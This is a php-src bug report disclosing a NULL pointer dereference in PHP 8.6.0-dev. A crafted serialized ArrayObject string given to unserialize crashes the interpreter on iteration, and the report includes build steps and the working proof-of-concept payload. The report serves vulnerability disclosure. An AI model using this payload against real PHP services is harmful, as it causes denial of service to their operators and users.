[php-src] Issue #22047: The unserialize function with ArrayObject leads to NULL pointer dereference

Issue: https://github.com/php/php-src/issues/22047
Author: 012git012

### Description

### Description 
Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Language assembly and compilation.
Listing 1. Language assembly and compilation.
```
$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```
The source code.
Listing 2. The source code.
```
<?php
$payload = 'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:4;d:0.0;i:1;b:1;}i:2;a:0:{}i:3;s:12:"GlobIterator";}';

$obj = unserialize($payload);  // Successful unserialization
foreach ($obj as $k => $v) { }  // SEGV here
?>
```
Executing this PHP code results in Segmentation fault due to NULL pointer dereference, leading to Denial of Service (DoS).
Listing 3. 
```
$ ./php-src/sapi/cli/php poc.php
Segmentation fault (core dumped)
```
NULL pointer dereference leads to process crash, causing Denial of Service. In ZTS mode, this can stop all currently served requests in the process.


### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
```

### Operating System

_No response_